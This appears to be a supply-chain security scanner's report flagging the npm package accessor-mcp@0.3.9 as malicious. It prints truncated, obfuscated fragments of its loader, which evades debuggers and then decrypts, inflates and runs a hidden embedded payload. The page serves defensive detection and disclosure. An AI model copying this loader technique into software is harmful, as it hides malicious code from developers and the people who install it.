accessor-mcp@0.3.9: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

accessor-mcp@0.3.9: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

7 flagged · loading source

accessor.cjsView file

2globalThis.__AP="[redacted]... L3: const s=g;(function(h,i){const n=g,j=h();while(!![]){try{const k=parseInt(n(0xc8,'SG8S'))/(-0x1b8*0x8+-0x3fa+0x11bb)*(-parseInt(n(0xac,'EpG['))/(-0x1451*0x1+0x1d35+-0x8e2))+-parseI...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

accessor.cjsView on unpkg · L2

3const Module=require(s(0xcc,'JWGE')+s(0xf9,'SG8S')),path=require(s(0x111,'hnro')+'h'),zlib=require(s(0x117,'b][V')+'b'),crypto=require(s(0xe3,'YK@)')+s(0xba,'&CgL'));try{if(require(s(0x105,'ZpUv')+s(0x107,'rv(U'))[s(0xfa,'lfQc')]()!==undefined)process[s(0xaf,')hCA')](0x1*-0x1f31+

High

Ai Review Evidence

accessor.cjs is obfuscated, loads module, path, zlib, and crypto through a string decoder, and exits when an inspector or debug-like process flags are present.

accessor.cjsView on unpkg · L3

2globalThis.__AP="[redacted]

High

Ai Review Evidence

On startup it decrypts the embedded globalThis.__AP blob, inflates it, deletes those globals, and compiles the result with Module as the running file.

accessor.cjsView on unpkg · L2

3)](0x7*-0x3e5+-0x2660+-0x2*-0x20d2);const __code=zlib[s(0xc2,'2oej')+'nc'](__open(globalThis[s(0xe0,'y)F7')],__pass))[s(0x10e,'%3RJ')](s(0x103,'#$#$'));delete globalThis[s(0x120,'I

High

Ai Review Evidence

On startup it decrypts the embedded globalThis.__AP blob, inflates it, deletes those globals, and compiles the result with Module as the running file.

accessor.cjsView on unpkg · L3

3__mod=new Module(__file);__mod[s(0xe9,'insu')]=__file,__mod[s(0xb1,'&m5R')]=Module[s(0xf0,'Cie^')+s(0xee,'insu')](path[s(0x113,'(VXJ')](__file)),__mod[s(0xdf,'SG8S')](__code,__file);function a(h){function i(j){const u=g;

High

Ai Review Evidence

On startup it decrypts the embedded globalThis.__AP blob, inflates it, deletes those globals, and compiles the result with Module as the running file.

accessor.cjsView on unpkg · L3

2globalThis.__AP="[redacted]... L3: const s=g;(function(h,i){const n=g,j=h();while(!![]){try{const k=parseInt(n(0xc8,'SG8S'))/(-0x1b8*0x8+-0x3fa+0x11bb)*(-parseInt(n(0xac,'EpG['))/(-0x1451*0x1+0x1d35+-0x8e2))+-parseI...

Medium

Dynamic Require

Package source references dynamic require/import behavior.

accessor.cjsView on unpkg · L2

package.jsonView file

1{ "name": "accessor-mcp", "version": "0.3.9", "description": "MCP", "bin": { "accessor-mcp": "accessor.cjs" }, "files": [ "accessor.cjs" ], "dependencies": { "@resvg/resvg-

High

Suspicious Lifecycle Evidence

The package bin accessor-mcp points at accessor.cjs and declares no install lifecycle scripts.

package.jsonView on unpkg · L1

Source & flagged code

7 flagged

accessor.cjsView file

2globalThis.__AP="[redacted]... L3: const s=g;(function(h,i){const n=g,j=h();while(!![]){try{const k=parseInt(n(0xc8,'SG8S'))/(-0x1b8*0x8+-0x3fa+0x11bb)*(-parseInt(n(0xac,'EpG['))/(-0x1451*0x1+0x1d35+-0x8e2))+-parseI...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

accessor.cjsView on unpkg · L2

3const Module=require(s(0xcc,'JWGE')+s(0xf9,'SG8S')),path=require(s(0x111,'hnro')+'h'),zlib=require(s(0x117,'b][V')+'b'),crypto=require(s(0xe3,'YK@)')+s(0xba,'&CgL'));try{if(require(s(0x105,'ZpUv')+s(0x107,'rv(U'))[s(0xfa,'lfQc')]()!==undefined)process[s(0xaf,')hCA')](0x1*-0x1f31+

High

Ai Review Evidence

accessor.cjs is obfuscated, loads module, path, zlib, and crypto through a string decoder, and exits when an inspector or debug-like process flags are present.

accessor.cjsView on unpkg · L3

2globalThis.__AP="[redacted]

High

Ai Review Evidence

On startup it decrypts the embedded globalThis.__AP blob, inflates it, deletes those globals, and compiles the result with Module as the running file.

accessor.cjsView on unpkg · L2

3)](0x7*-0x3e5+-0x2660+-0x2*-0x20d2);const __code=zlib[s(0xc2,'2oej')+'nc'](__open(globalThis[s(0xe0,'y)F7')],__pass))[s(0x10e,'%3RJ')](s(0x103,'#$#$'));delete globalThis[s(0x120,'I

High

Ai Review Evidence

On startup it decrypts the embedded globalThis.__AP blob, inflates it, deletes those globals, and compiles the result with Module as the running file.

accessor.cjsView on unpkg · L3

3__mod=new Module(__file);__mod[s(0xe9,'insu')]=__file,__mod[s(0xb1,'&m5R')]=Module[s(0xf0,'Cie^')+s(0xee,'insu')](path[s(0x113,'(VXJ')](__file)),__mod[s(0xdf,'SG8S')](__code,__file);function a(h){function i(j){const u=g;

High

Ai Review Evidence

On startup it decrypts the embedded globalThis.__AP blob, inflates it, deletes those globals, and compiles the result with Module as the running file.

accessor.cjsView on unpkg · L3

2globalThis.__AP="[redacted]... L3: const s=g;(function(h,i){const n=g,j=h();while(!![]){try{const k=parseInt(n(0xc8,'SG8S'))/(-0x1b8*0x8+-0x3fa+0x11bb)*(-parseInt(n(0xac,'EpG['))/(-0x1451*0x1+0x1d35+-0x8e2))+-parseI...

Medium

Dynamic Require

Package source references dynamic require/import behavior.

accessor.cjsView on unpkg · L2

package.jsonView file

Lines 1-18json

1{

2 "name": "accessor-mcp",

3 "version": "0.3.9",

4 "description": "MCP",

5 "bin": {

6 "accessor-mcp":